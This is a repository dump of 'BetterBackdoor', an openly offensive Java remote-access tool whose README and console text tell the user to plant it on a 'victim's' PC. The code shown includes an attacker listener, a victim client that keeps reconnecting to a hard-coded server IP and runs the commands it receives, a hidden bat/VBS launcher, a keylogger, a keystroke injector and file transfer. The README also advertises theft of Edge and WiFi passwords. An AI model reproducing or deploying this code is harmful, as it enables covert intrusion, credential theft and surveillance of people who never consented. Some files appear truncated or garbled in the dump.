├── .gitignore
├── .mvn
└── wrapper
│ ├── maven-wrapper.jar
│ ├── maven-wrapper.properties
│ └── MavenWrapperDownloader.java
├── .project
├── LICENSE
├── src
└── main
│ └── java
│ └── com
│ └── github
│ └── thatcherdev
│ └── betterbackdoor
│ ├── shell
│ ├── Shell.java
│ └── HandleCommand.java
│ ├── backdoor
│ ├── Backdoor.java
│ └── HandleCommand.java
│ ├── backend
│ ├── Utils.java
│ ├── FTP.java
│ ├── KeyLogger.java
│ └── DuckyScripts.java
│ ├── Setup.java
│ └── BetterBackdoor.java
├── .classpath
├── pom.xml
├── README.md
├── mvnw.cmd
└── mvnw
/.gitignore:
--------------------------------------------------------------------------------
1 | /target/
2 | /.settings/
3 | /.vscode/
4 | /jre/
5 | /backdoor/
6 | .DS_Store
7 | /*.jar
8 |
--------------------------------------------------------------------------------
/.mvn/wrapper/maven-wrapper.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Agent00049/BetterBackdoor/master/.mvn/wrapper/maven-wrapper.jar
--------------------------------------------------------------------------------
/.mvn/wrapper/maven-wrapper.properties:
--------------------------------------------------------------------------------
1 | distributionUrl=https://repo.maven.apache.org/maven2/org/apache/maven/apache-maven/3.6.0/apache-maven-3.6.0-bin.zip
2 |
--------------------------------------------------------------------------------
/.project:
--------------------------------------------------------------------------------
1 |
2 |
19 | * Creates server on port 1025 for client to connect to. Once client has
20 | * connected, starts an infinite loop that gets command {@link command} from
21 | * user and handles it with {@link HandleCommand#handle(command)}.
22 | */
23 | public static void start() {
24 | System.out.println("Connecting...\n");
25 | try {
26 | serverSocket = new ServerSocket(1025);
27 | socket = serverSocket.accept();
28 | in = new Scanner(socket.getInputStream());
29 | out = new PrintWriter(socket.getOutputStream(), true);
30 | System.out.println("Connection has been established");
31 | System.out.println("Enter 'help' for a list of available commands");
32 | while (true)
33 | HandleCommand.handle(BetterBackdoor.getInput(""));
34 | } catch (Exception e) {
35 | if (e.getMessage().equals("String index out of range: -1")
36 | || e.getMessage().equals("begin 0, end -1, length 0"))
37 | BetterBackdoor.error("The victim's computer has disconnected");
38 | else
39 | BetterBackdoor.error(e.getMessage());
40 | } finally {
41 | try {
42 | if (socket != null)
43 | socket.close();
44 | if (in != null)
45 | in.close();
46 | if (out != null)
47 | out.close();
48 | } catch (Exception e) {
49 | }
50 | }
51 | }
52 | }
--------------------------------------------------------------------------------
/.classpath:
--------------------------------------------------------------------------------
1 |
2 |
28 | * Uses {@link #readFromJar(String)} to get the contents of "ip", a text file 29 | * inside the jar file this class will be running from. This file contains the 30 | * IPv4 address of the server to be used to control the backdoor. Sets 31 | * {@link #ip} to this address. Creates directory "gathered". 32 | */ 33 | private Backdoor() { 34 | try { 35 | ip = readFromJar("/ip"); 36 | new File("gathered").mkdir(); 37 | } catch (Exception e) { 38 | System.exit(0); 39 | } 40 | } 41 | 42 | /** 43 | * Starts backdoor. 44 | *
45 | * Attempts to connect to the server with the ip address {@link #ip} on port
46 | * 1025. Once connected, starts a loop that continuously gets commands from the
47 | * server and handles commands with
48 | * {@link HandleCommand#handle(String command)}.
49 | */
50 | private void start() {
51 | try {
52 | while (true)
53 | try {
54 | socket = new Socket(ip, 1025);
55 | break;
56 | } catch (Exception e) {
57 | Thread.sleep(3000);
58 | continue;
59 | }
60 | in = new Scanner(socket.getInputStream());
61 | out = new PrintWriter(socket.getOutputStream(), true);
62 | while (true) {
63 | String command = in.nextLine();
64 | HandleCommand.handle(command);
65 | }
66 | } catch (Exception e) {
67 | try {
68 | if (socket != null)
69 | socket.close();
70 | if (in != null)
71 | in.close();
72 | if (out != null)
73 | out.close();
74 | start();
75 | } catch (Exception e1) {
76 | System.exit(0);
77 | }
78 | }
79 | }
80 |
81 | /**
82 | * Gets the contents of the file with the name {@link filename} from inside the
83 | * jar file this class will be running from.
84 | *
85 | * @param filename name of the file to get contents of
86 | * @return contents of the file
87 | */
88 | private String readFromJar(String filename) {
89 | String ret = null;
90 | Scanner in = new Scanner(getClass().getResourceAsStream(filename));
91 | ret = in.nextLine();
92 | in.close();
93 | return ret;
94 | }
95 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BetterBackdoor
2 | A backdoor is a tool used to gain remote access to a machine.
3 |
4 | Typically, backdoor utilities such as NetCat have 2 main functions: to pipe remote input into cmd or bash and output the response.
5 | This is useful, but it is also limited.
6 | BetterBackdoor overcomes these limitations by including the ability to inject keystrokes, get screenshots, transfer files, and many other tasks.
7 |
8 | ## Features
9 | BetterBackdoor can create and control a backdoor.
10 |
11 | This created backdoor can:
12 | - Run Command Prompt commands
13 | - Run PowerShell scripts
14 | - Run DuckyScripts to inject keystrokes
15 | - Exfiltrate files based on extension
16 | - Exfiltrate Microsoft Edge and WiFi passwords
17 | - Send and receive files to and from victim's computer
18 | - Start a KeyLogger
19 | - Get a screenshot of victim's computer
20 | - Get text copied to victim's clipboard
21 | - Get contents from a victim's file (cat)
22 |
23 | This backdoor uses a client and server socket connection to communicate.
24 | The attacker starts a server and the victim connects to this server as a client.
25 | Once a connection is established, commands can be sent to the client in order to control the backdoor.
26 |
27 | To create the backdoor, BetterBackdoor:
28 | - Creates 'run.jar', the backdoor jar file, and copied it to directory 'backdoor'.
29 | - Appends a text file containing the server's IPv4 address to 'run.jar'.
30 | - If desired, copies a Java Runtime Environment to 'backdoor' and creates batch file 'run.bat' for running the backdoor in the packaged Java Runtime Environment.
31 |
32 | To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.
33 |
34 | If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.
35 |
36 | This will start the backdoor on the victim's PC.
37 |
38 | Once running, to control the backdoor you must return to BetterBackdoor and run option 1 at start while connected to the same WiFi network as the victim's computer.
39 |
40 | ## Demo
41 |
25 | * If {@link packageJre} is true, copies the current machines JRE to directory
26 | * 'backdoor' and {@link #createBat(String, String, String)} is used to create a
27 | * '.bat' file for running the backdoor in the JRE. If {@link packageJre} is
28 | * false but directory 'jre' containing a Windows JRE distribution exists, 'jre'
29 | * is copied to 'backdoor' and {@link #createBat(String, String, String)} is
30 | * used to create a '.bat' file for running the backdoor in the JRE. 'run.jar'
31 | * is copied from 'target' to 'backdoor' and 'ip', a text file containing the
32 | * current machine's IPv4 address, is appended into it using
33 | * {@link #appendJar(String, String, String)}.
34 | *
35 | * @param packageJre if a JRE should be packaged with backdoor
36 | * @throws IOException
37 | */
38 | public static void create(boolean packageJre) throws IOException {
39 | if (packageJre) {
40 | String jrePath = System.getProperty("java.home");
41 | FileUtils.copyDirectory(new File(jrePath + File.separator + "bin"),
42 | new File("backdoor" + File.separator + "jre" + File.separator + "bin"));
43 | FileUtils.copyDirectory(new File(jrePath + File.separator + "lib"),
44 | new File("backdoor" + File.separator + "jre" + File.separator + "lib"));
45 | createBat("backdoor" + File.separator + "run.bat");
46 | } else if (new File("jre").isDirectory()) {
47 | FileUtils.copyDirectory(new File("jre"), new File("backdoor" + File.separator + "jre"));
48 | createBat("backdoor" + File.separator + "run.bat");
49 | }
50 | FileUtils.copyFile(new File("target" + File.separator + "run.jar"),
51 | new File("backdoor" + File.separator + "run.jar"));
52 | appendJar("backdoor" + File.separator + "run.jar", "ip", Utils.getIP());
53 | }
54 |
55 | /**
56 | * Creates a '.bat' batch file for running a jar file in a Java Runtime
57 | * Environment.
58 | *
59 | * @param filePath path of '.bat' batch file to create
60 | * @throws FileNotFoundException
61 | */
62 | private static void createBat(String filePath) throws FileNotFoundException {
63 | PrintWriter out = new PrintWriter(new File(filePath));
64 | out.println(
65 | "@echo off\n%~d0 & cd %~dp0\necho Set objShell = WScript.CreateObject(\"WScript.Shell\")>run.vbs\necho objShell.Run \"cmd /c "
66 | + "jre\\bin\\java -jar run.jar\", ^0, True>>run.vbs\nstart run.vbs\ncall:delvbs\n:delvbs\nif exist run.vbs (\n timeout 3 > nul\n del run.vbs\n @exit\n"
67 | + ") else (\ncall:delvbs\n)\ngoto:eof");
68 | out.flush();
69 | out.close();
70 | }
71 |
72 | /**
73 | * Appends a new file with name {@link filename} and contents
74 | * {@link fileContents} into existing jar file with name {@link jarFile}.
75 | *
76 | * @param jarFile name of jar file to append
77 | * @param filename name of new file to append in jar
78 | * @param fileContents contents of new file to append in jar
79 | * @throws IOException
80 | */
81 | private static void appendJar(String jarFile, String filename, String fileContents) throws IOException {
82 | Map
19 | * Opens {@link java.nio.channels.ServerSocketChannel}
20 | * {@link serverSocketChannel} and {@link java.nio.channels.SocketChannel}
21 | * {@link socketChannel} for transferring a file with client. If
22 | * {@link protocol} is "send", uses {@link #send} to send file with path
23 | * {@link filePath} to client. If {@link protocol} is "rec", uses {@link #rec}
24 | * to receive file with path {@link filePath} from client.
25 | *
26 | * @param filePath path of file to transfer
27 | * @param protocol if file should be sent or received
28 | * @throws IOException
29 | */
30 | public static void shell(String filePath, String protocol) throws IOException {
31 | ServerSocketChannel serverSocketChannel = ServerSocketChannel.open();
32 | serverSocketChannel.socket().bind(new InetSocketAddress(1026));
33 | SocketChannel socketChannel = serverSocketChannel.accept();
34 | if (protocol.equals("send"))
35 | send(filePath, socketChannel);
36 | else if (protocol.equals("rec"))
37 | rec(filePath, socketChannel);
38 | serverSocketChannel.close();
39 | socketChannel.close();
40 | }
41 |
42 | /**
43 | * Transfers a file with server.
44 | *
45 | * Opens {@link java.nio.channels.SocketChannel} {@link socketChannel} for
46 | * transferring file with server with an IPv4 address of {@link ip}. If
47 | * {@link protocol} is "send", uses {@link #send} to send file with path
48 | * {@link filePath} to server. If {@link protocol} is "rec", uses {@link #rec}
49 | * to receive file with path {@link filePath} from server.
50 | *
51 | * @param filePath path of file to transfer
52 | * @param protocol if file should be sent or received
53 | * @param ip IPv4 address of server to transfer file with
54 | * @throws IOException
55 | */
56 | public static void backdoor(String filePath, String protocol, String ip) throws IOException {
57 | SocketChannel socketChannel = SocketChannel.open();
58 | SocketAddress socketAddress = new InetSocketAddress(ip, 1026);
59 | socketChannel.connect(socketAddress);
60 | if (protocol.equals("send"))
61 | send(filePath, socketChannel);
62 | else if (protocol.equals("rec"))
63 | rec(filePath, socketChannel);
64 | socketChannel.close();
65 | }
66 |
67 | /**
68 | * Sends file with path {@link filePath} using {@link socketChannel} and
69 | * {@link fileChannel}.
70 | *
71 | * @param filePath path of file to send
72 | * @param socketChannel {@link java.nio.channels.SocketChannel} to use for
73 | * sending
74 | * @throws IOException
75 | */
76 | private static void send(String filePath, SocketChannel socketChannel) throws IOException {
77 | RandomAccessFile file = new RandomAccessFile(new File(filePath), "r");
78 | FileChannel fileChannel = file.getChannel();
79 | ByteBuffer buffer = ByteBuffer.allocate(1024);
80 | while (fileChannel.read(buffer) > 0) {
81 | ((Buffer) buffer).flip();
82 | socketChannel.write(buffer);
83 | ((Buffer) buffer).clear();
84 | }
85 | file.close();
86 | fileChannel.close();
87 | }
88 |
89 | /**
90 | * Receives file with path {@link filePath} using {@link socketChannel} and
91 | * {@link fileChannel}.
92 | *
93 | * @param filePath path of file to receive
94 | * @param socketChannel {@link java.nio.channels.SocketChannel} to use for
95 | * receiving
96 | * @throws IOException
97 | */
98 | private static void rec(String filePath, SocketChannel socketChannel) throws IOException {
99 | RandomAccessFile file = new RandomAccessFile(filePath, "rw");
100 | FileChannel fileChannel = file.getChannel();
101 | ByteBuffer buffer = ByteBuffer.allocate(1024);
102 | while (socketChannel.read(buffer) > 0) {
103 | ((Buffer) buffer).flip();
104 | fileChannel.write(buffer);
105 | ((Buffer) buffer).clear();
106 | }
107 | file.close();
108 | fileChannel.close();
109 | }
110 | }
--------------------------------------------------------------------------------
/src/main/java/com/github/thatcherdev/betterbackdoor/BetterBackdoor.java:
--------------------------------------------------------------------------------
1 | package com.github.thatcherdev.betterbackdoor;
2 |
3 | import java.io.File;
4 | import java.nio.file.Paths;
5 | import java.util.Scanner;
6 | import com.github.thatcherdev.betterbackdoor.shell.Shell;
7 | import org.springframework.boot.autoconfigure.SpringBootApplication;
8 |
9 | @SpringBootApplication
10 | public class BetterBackdoor {
11 |
12 | public final static Scanner sc = new Scanner(System.in);
13 | public final static String os = System.getProperty("os.name");
14 |
15 | /**
16 | * Starts BetterBackdoor.
17 | *
18 | * @param args command line arguments
19 | */
20 | public static void main(String[] args) {
21 | System.out.println("_________ __ __ __________ __ .___\n"
22 | + "\\_____ \\ _____/ |__/ |_ __________\\______ \\______ ____ | | __ __| _/____ ___________ \n"
23 | + " | | _// __ \\ __\\ __\\/ __ \\_ __ \\ | _/\\__ \\ _/ ___\\| |/ // __ |/ _ \\ / _ \\_ __ \\\n"
24 | + " | | \\ ___/| | | | \\ ___/| | \\/ | \\ / __ \\\\ \\___| /_/ ( <_> | <_> ) | \\/\n"
25 | + " |______ /\\___ >__| |__| \\___ >__| |______ /(____ /\\___ >__|_ \\____ |\\____/ \\____/|__|\n"
26 | + " \\/ \\/ \\/ \\/ \\/ \\/ \\/ \\/");
27 | System.out.println("Welcome to BetterBackdoor\n");
28 | System.out.println("Select:");
29 | System.out.println("[0] Create backdoor");
30 | System.out.println("[1] Open backdoor shell");
31 | String choice = getInput("op01");
32 | if (choice.equals("0")) {
33 | boolean jre = false;
34 | if (os.contains("Windows")) {
35 | System.out.println(
36 | "Would you like to package the Java Runtime Environment from your computer with the backdoor\nso it can be run on computers without Java installed?(y/n):");
37 | jre = Boolean.parseBoolean(getInput("yn"));
38 | } else
39 | System.out.println(
40 | "If you would like to package a Java Runtime Environment with the backdoor so it can be run on computers without Java,\n"
41 | + "in the current working directory create folder 'jre' containing 'bin' and 'lib' directories from a Windows JRE distribution.\n");
42 | System.out.println("Press ENTER to create backdoor...");
43 | sc.nextLine();
44 | System.out.println("Creating...\n");
45 | try {
46 | Setup.create(jre);
47 | } catch (Exception e) {
48 | if (e.getMessage() == null)
49 | error("Could not create backdoor");
50 | else
51 | error("Could not create backdoor:\n" + e.getMessage());
52 | }
53 | System.out.println("Created!\n");
54 | System.out.println(
55 | "To start the backdoor on a victim PC, transfer all files from the directory 'backdoor' onto a victim PC.\n"
56 | + "If a JRE is packaged with the backdoor, execute run.bat, otherwise execute run.jar.\n"
57 | + "This will start the backdoor on the victim's PC.\n"
58 | + "To control the backdoor, return to BetterBackdoor and run option 1 at start.\n");
59 | System.out.println("Press ENTER to exit...");
60 | sc.nextLine();
61 | } else
62 | Shell.start();
63 | }
64 |
65 | /**
66 | * Gets user input and verify it's validity with {@link type}.
67 | *
68 | * @param type type of input
69 | * @return user input
70 | */
71 | public static String getInput(String type) {
72 | System.out.print(">");
73 | String ret = sc.nextLine();
74 | if (ret.isEmpty())
75 | return getInput(type);
76 | else if (type.equals("file") && !new File(ret).exists()) {
77 | System.out.println("\nFile not found\nEnter a valid file path:");
78 | getInput(type);
79 | } else if (type.equals("yn") && !(ret.equalsIgnoreCase("y") || ret.equalsIgnoreCase("n"))) {
80 | System.out.println("\nInvalid entry\nEnter 'y' or 'n':");
81 | return getInput(type);
82 | } else if (type.startsWith("op") && (!type.substring(2).contains(ret) || !(ret.length() == 1)))
83 | return getInput(type);
84 | else
85 | System.out.println();
86 |
87 | if (type.equals("file"))
88 | return Paths.get(ret).toString();
89 | else if (type.equals("yn"))
90 | if (ret.equals("y"))
91 | return "true";
92 | else
93 | return "false";
94 | else
95 | return ret;
96 | }
97 |
98 | /**
99 | * Displays "An error occurred" followed by {@link errorMessage} and exits.
100 | *
101 | * @param errorMessage error message to display
102 | */
103 | public static void error(String errorMessage) {
104 | System.out.println("An error occurred:\n" + errorMessage + "\n");
105 | System.exit(0);
106 | }
107 | }
--------------------------------------------------------------------------------
/src/main/java/com/github/thatcherdev/betterbackdoor/backend/KeyLogger.java:
--------------------------------------------------------------------------------
1 | package com.github.thatcherdev.betterbackdoor.backend;
2 |
3 | import java.io.BufferedWriter;
4 | import java.io.FileWriter;
5 | import java.io.PrintWriter;
6 | import org.jnativehook.GlobalScreen;
7 | import org.jnativehook.keyboard.NativeKeyEvent;
8 | import org.jnativehook.keyboard.NativeKeyListener;
9 |
10 | public class KeyLogger implements NativeKeyListener {
11 |
12 | private static PrintWriter out;
13 | private boolean shift = false;
14 |
15 | /**
16 | * Starts a key logger and logs keys to 'gathered\keys.log'.
17 | */
18 | public static void start() {
19 | try {
20 | out = new PrintWriter(new BufferedWriter(new FileWriter("gathered\\keys.log", true)));
21 | GlobalScreen.registerNativeHook();
22 | GlobalScreen.addNativeKeyListener(new KeyLogger());
23 | } catch (Exception e) {
24 | if (out != null)
25 | out.close();
26 | }
27 | }
28 |
29 | /*
30 | * @see
31 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyPressed(org.jnativehook.
32 | * keyboard.NativeKeyEvent)
33 | */
34 | @Override
35 | public void nativeKeyPressed(NativeKeyEvent key) {
36 | String pressed = NativeKeyEvent.getKeyText(key.getKeyCode());
37 |
38 | if (pressed.equals("Shift"))
39 | shift = true;
40 |
41 | if (key.isActionKey())
42 | out.print("[" + pressed + "]");
43 | else if (pressed.equals("Backspace"))
44 | out.print("[Back]");
45 | else if (pressed.equals("Space"))
46 | out.print(" ");
47 | else if (pressed.equals("Tab"))
48 | out.print("\t");
49 | else if (pressed.equals("Enter"))
50 | out.println();
51 | else if (shift) {
52 | if (pressed.matches("[A-Z]"))
53 | out.print(pressed);
54 | else if (pressed.equals("1"))
55 | out.print("!");
56 | else if (pressed.equals("2"))
57 | out.print("@");
58 | else if (pressed.equals("3"))
59 | out.print("#");
60 | else if (pressed.equals("4"))
61 | out.print("$");
62 | else if (pressed.equals("5"))
63 | out.print("%");
64 | else if (pressed.equals("6"))
65 | out.print("^");
66 | else if (pressed.equals("7"))
67 | out.print("&");
68 | else if (pressed.equals("8"))
69 | out.print("*");
70 | else if (pressed.equals("9"))
71 | out.print("(");
72 | else if (pressed.equals("0"))
73 | out.print(")");
74 | else if (pressed.equals("Minus"))
75 | out.print("_");
76 | else if (pressed.equals("Equals"))
77 | out.print("+");
78 | else if (pressed.equals("Open Bracket"))
79 | out.print("{");
80 | else if (pressed.equals("Close Bracket"))
81 | out.print("}");
82 | else if (pressed.equals("Back Slash"))
83 | out.print("|");
84 | else if (pressed.equals("Semicolon"))
85 | out.print(":");
86 | else if (pressed.equals("Quote"))
87 | out.print("\"");
88 | else if (pressed.equals("Comma"))
89 | out.print("<");
90 | else if (pressed.equals("Period"))
91 | out.print(">");
92 | else if (pressed.equals("Dead Acute"))
93 | out.print("?");
94 | else if (pressed.equals("Back Quote"))
95 | out.print("~");
96 | } else {
97 | if (pressed.matches("[a-zA-Z0-9]"))
98 | out.print(pressed.toLowerCase());
99 | else if (pressed.equals("Minus"))
100 | out.print("-");
101 | else if (pressed.equals("Equals"))
102 | out.print("=");
103 | else if (pressed.equals("Open Bracket"))
104 | out.print("[");
105 | else if (pressed.equals("Close Bracket"))
106 | out.print("]");
107 | else if (pressed.equals("Back Slash"))
108 | out.print("\\");
109 | else if (pressed.equals("Semicolon"))
110 | out.print(";");
111 | else if (pressed.equals("Quote"))
112 | out.print("'");
113 | else if (pressed.equals("Comma"))
114 | out.print(",");
115 | else if (pressed.equals("Period"))
116 | out.print(".");
117 | else if (pressed.equals("Dead Acute"))
118 | out.print("/");
119 | else if (pressed.equals("Back Quote"))
120 | out.print("`");
121 | }
122 | out.flush();
123 | }
124 |
125 | /*
126 | * @see
127 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyReleased(org.jnativehook.
128 | * keyboard.NativeKeyEvent)
129 | */
130 | @Override
131 | public void nativeKeyReleased(NativeKeyEvent key) {
132 | if (NativeKeyEvent.getKeyText(key.getKeyCode()).equals("Shift"))
133 | shift = false;
134 | }
135 |
136 | /*
137 | * @see
138 | * org.jnativehook.keyboard.NativeKeyListener#nativeKeyTyped(org.jnativehook.
139 | * keyboard.NativeKeyEvent)
140 | */
141 | @Override
142 | public void nativeKeyTyped(NativeKeyEvent key) {
143 | }
144 | }
--------------------------------------------------------------------------------
/.mvn/wrapper/MavenWrapperDownloader.java:
--------------------------------------------------------------------------------
1 | /*
2 | Licensed to the Apache Software Foundation (ASF) under one
3 | or more contributor license agreements. See the NOTICE file
4 | distributed with this work for additional information
5 | regarding copyright ownership. The ASF licenses this file
6 | to you under the Apache License, Version 2.0 (the
7 | "License"); you may not use this file except in compliance
8 | with the License. You may obtain a copy of the License at
9 |
10 | https://www.apache.org/licenses/LICENSE-2.0
11 |
12 | Unless required by applicable law or agreed to in writing,
13 | software distributed under the License is distributed on an
14 | "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15 | KIND, either express or implied. See the License for the
16 | specific language governing permissions and limitations
17 | under the License.
18 | */
19 |
20 | import java.io.File;
21 | import java.io.FileInputStream;
22 | import java.io.FileOutputStream;
23 | import java.io.IOException;
24 | import java.net.URL;
25 | import java.nio.channels.Channels;
26 | import java.nio.channels.ReadableByteChannel;
27 | import java.util.Properties;
28 |
29 | public class MavenWrapperDownloader {
30 |
31 | /**
32 | * Default URL to download the maven-wrapper.jar from, if no 'downloadUrl' is provided.
33 | */
34 | private static final String DEFAULT_DOWNLOAD_URL =
35 | "https://repo.maven.apache.org/maven2/io/takari/maven-wrapper/0.4.2/maven-wrapper-0.4.2.jar";
36 |
37 | /**
38 | * Path to the maven-wrapper.properties file, which might contain a downloadUrl property to
39 | * use instead of the default one.
40 | */
41 | private static final String MAVEN_WRAPPER_PROPERTIES_PATH =
42 | ".mvn/wrapper/maven-wrapper.properties";
43 |
44 | /**
45 | * Path where the maven-wrapper.jar will be saved to.
46 | */
47 | private static final String MAVEN_WRAPPER_JAR_PATH =
48 | ".mvn/wrapper/maven-wrapper.jar";
49 |
50 | /**
51 | * Name of the property which should be used to override the default download url for the wrapper.
52 | */
53 | private static final String PROPERTY_NAME_WRAPPER_URL = "wrapperUrl";
54 |
55 | public static void main(String args[]) {
56 | System.out.println("- Downloader started");
57 | File baseDirectory = new File(args[0]);
58 | System.out.println("- Using base directory: " + baseDirectory.getAbsolutePath());
59 |
60 | // If the maven-wrapper.properties exists, read it and check if it contains a custom
61 | // wrapperUrl parameter.
62 | File mavenWrapperPropertyFile = new File(baseDirectory, MAVEN_WRAPPER_PROPERTIES_PATH);
63 | String url = DEFAULT_DOWNLOAD_URL;
64 | if(mavenWrapperPropertyFile.exists()) {
65 | FileInputStream mavenWrapperPropertyFileInputStream = null;
66 | try {
67 | mavenWrapperPropertyFileInputStream = new FileInputStream(mavenWrapperPropertyFile);
68 | Properties mavenWrapperProperties = new Properties();
69 | mavenWrapperProperties.load(mavenWrapperPropertyFileInputStream);
70 | url = mavenWrapperProperties.getProperty(PROPERTY_NAME_WRAPPER_URL, url);
71 | } catch (IOException e) {
72 | System.out.println("- ERROR loading '" + MAVEN_WRAPPER_PROPERTIES_PATH + "'");
73 | } finally {
74 | try {
75 | if(mavenWrapperPropertyFileInputStream != null) {
76 | mavenWrapperPropertyFileInputStream.close();
77 | }
78 | } catch (IOException e) {
79 | // Ignore ...
80 | }
81 | }
82 | }
83 | System.out.println("- Downloading from: : " + url);
84 |
85 | File outputFile = new File(baseDirectory.getAbsolutePath(), MAVEN_WRAPPER_JAR_PATH);
86 | if(!outputFile.getParentFile().exists()) {
87 | if(!outputFile.getParentFile().mkdirs()) {
88 | System.out.println(
89 | "- ERROR creating output direcrory '" + outputFile.getParentFile().getAbsolutePath() + "'");
90 | }
91 | }
92 | System.out.println("- Downloading to: " + outputFile.getAbsolutePath());
93 | try {
94 | downloadFileFromURL(url, outputFile);
95 | System.out.println("Done");
96 | System.exit(0);
97 | } catch (Throwable e) {
98 | System.out.println("- Error downloading");
99 | e.printStackTrace();
100 | System.exit(1);
101 | }
102 | }
103 |
104 | private static void downloadFileFromURL(String urlString, File destination) throws Exception {
105 | URL website = new URL(urlString);
106 | ReadableByteChannel rbc;
107 | rbc = Channels.newChannel(website.openStream());
108 | FileOutputStream fos = new FileOutputStream(destination);
109 | fos.getChannel().transferFrom(rbc, 0, Long.MAX_VALUE);
110 | fos.close();
111 | rbc.close();
112 | }
113 |
114 | }
115 |
--------------------------------------------------------------------------------
/src/main/java/com/github/thatcherdev/betterbackdoor/backend/DuckyScripts.java:
--------------------------------------------------------------------------------
1 | package com.github.thatcherdev.betterbackdoor.backend;
2 |
3 | import java.awt.Robot;
4 | import java.awt.event.KeyEvent;
5 | import java.io.File;
6 | import java.util.ArrayList;
7 | import java.util.Scanner;
8 | import java.util.stream.Collectors;
9 |
10 | public class DuckyScripts {
11 |
12 | private static Robot robot;
13 | private static int defaultDelay;
14 | final private static ArrayList
22 | * Cycles though lines from the file with the name {@link filename}. If
23 | * applicable, spaces at end of each line are removed and the line is passed to
24 | * {@link #handleLine(String line)} to handle and execute it.
25 | *
26 | * @param filename name of DuckyScript to execute
27 | * @return if DuckyScript was executed successfully
28 | */
29 | public static boolean run(String filename) {
30 | Scanner in = null;
31 | try {
32 | robot = new Robot();
33 | in = new Scanner(new File(filename));
34 | while (in.hasNextLine()) {
35 | String line = in.nextLine();
36 | while (line.endsWith(" "))
37 | line = line.substring(0, line.length() - 1);
38 | if (!line.isEmpty())
39 | handleLine(line);
40 | }
41 | return true;
42 | } catch (Exception e) {
43 | return false;
44 | } finally {
45 | if (in != null)
46 | in.close();
47 | }
48 | }
49 |
50 | /**
51 | * Handles and executes DuckyScript line {@link line}.
52 | *
53 | * {@link line} is split into {@link command} and {@link args} which are then
54 | * mutated to work with {@link java.awt.Robot} {@link #robot}.
55 | *
56 | * @param line line to handle and execute
57 | * @throws InterruptedException
58 | * @throws IllegalArgumentException
59 | * @throws IllegalAccessException
60 | * @throws NoSuchFieldException
61 | * @throws SecurityException
62 | */
63 | private static void handleLine(String line) throws InterruptedException, IllegalArgumentException,
64 | IllegalAccessException, NoSuchFieldException, SecurityException {
65 | String command = line;
66 | String args = "";
67 | if (line.contains(" ")) {
68 | command = line.substring(0, line.indexOf(" "));
69 | args = line.substring(line.indexOf(" ") + 1);
70 | }
71 |
72 | if (command.equals("GUI"))
73 | command = "WINDOWS";
74 | else if (args.equals("GUI"))
75 | args = "WINDOWS";
76 | else if (command.equals("PAGEUP") || command.equals("PAGEDOWN"))
77 | command = command.replace("PAGE", "PAGE_");
78 | else if (args.equals("PAGEUP") || args.equals("PAGEDOWN"))
79 | args = args.replace("PAGE", "PAGE_");
80 | else if (command.equals("UPARROW") || command.equals("DOWNARROW") || command.equals("LEFTARROW")
81 | || command.equals("RIGHTARROW"))
82 | command = command.replace("ARROW", "");
83 | else if (args.equals("UPARROW") || args.equals("DOWNARROW") || args.equals("LEFTARROW")
84 | || args.equals("RIGHTARROW"))
85 | args = args.replace("ARROW", "");
86 | else if (command.equals("MENU") || command.equals("APP")) {
87 | command = "SHIFT";
88 | args = "F10";
89 | } else if (command.equals("CTRL"))
90 | command = "CONTROL";
91 | else if (command.equals("CAPSLOCK"))
92 | command = "CAPS_LOCK";
93 | else if (command.equals("NUMLOCK"))
94 | command = "NUM_LOCK";
95 | else if (command.equals("SCROLLLOCK"))
96 | command = "SCROLL_LOCK";
97 | else if (args.equals("ESC"))
98 | args = "ESCAPE";
99 | else if (args.equals("BREAK"))
100 | args = "PAUSE";
101 |
102 | if (command.equals("DEFAULT_DELAY") || command.equals("DEFAULTDELAY"))
103 | defaultDelay = Integer.parseInt(args);
104 | else if (command.equals("DELAY"))
105 | Thread.sleep(Integer.parseInt(args));
106 | else if (command.equals("STRING")) {
107 | type(args);
108 | } else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL")
109 | || command.equals("ALT")) {
110 | robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
111 | if (!args.isEmpty()) {
112 | robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
113 | robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
114 | }
115 | robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
116 | } else if (!line.startsWith("REM")) {
117 | robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
118 | robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
119 | }
120 | Thread.sleep(defaultDelay);
121 | }
122 |
123 | /**
124 | * Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@link toType}.
125 | *
126 | * @param toType String to type
127 | */
128 | private static void type(String toType) {
129 | for (char c : toType.toCharArray())
130 | if (regKeys.indexOf(c) != -1) {
131 | robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));
132 | robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));
133 | } else {
134 | robot.keyPress(KeyEvent.VK_SHIFT);
135 | robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
136 | robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
137 | robot.keyRelease(KeyEvent.VK_SHIFT);
138 | }
139 | }
140 | }
--------------------------------------------------------------------------------
/mvnw.cmd:
--------------------------------------------------------------------------------
1 | @REM ----------------------------------------------------------------------------
2 | @REM Licensed to the Apache Software Foundation (ASF) under one
3 | @REM or more contributor license agreements. See the NOTICE file
4 | @REM distributed with this work for additional information
5 | @REM regarding copyright ownership. The ASF licenses this file
6 | @REM to you under the Apache License, Version 2.0 (the
7 | @REM "License"); you may not use this file except in compliance
8 | @REM with the License. You may obtain a copy of the License at
9 | @REM
10 | @REM https://www.apache.org/licenses/LICENSE-2.0
11 | @REM
12 | @REM Unless required by applicable law or agreed to in writing,
13 | @REM software distributed under the License is distributed on an
14 | @REM "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15 | @REM KIND, either express or implied. See the License for the
16 | @REM specific language governing permissions and limitations
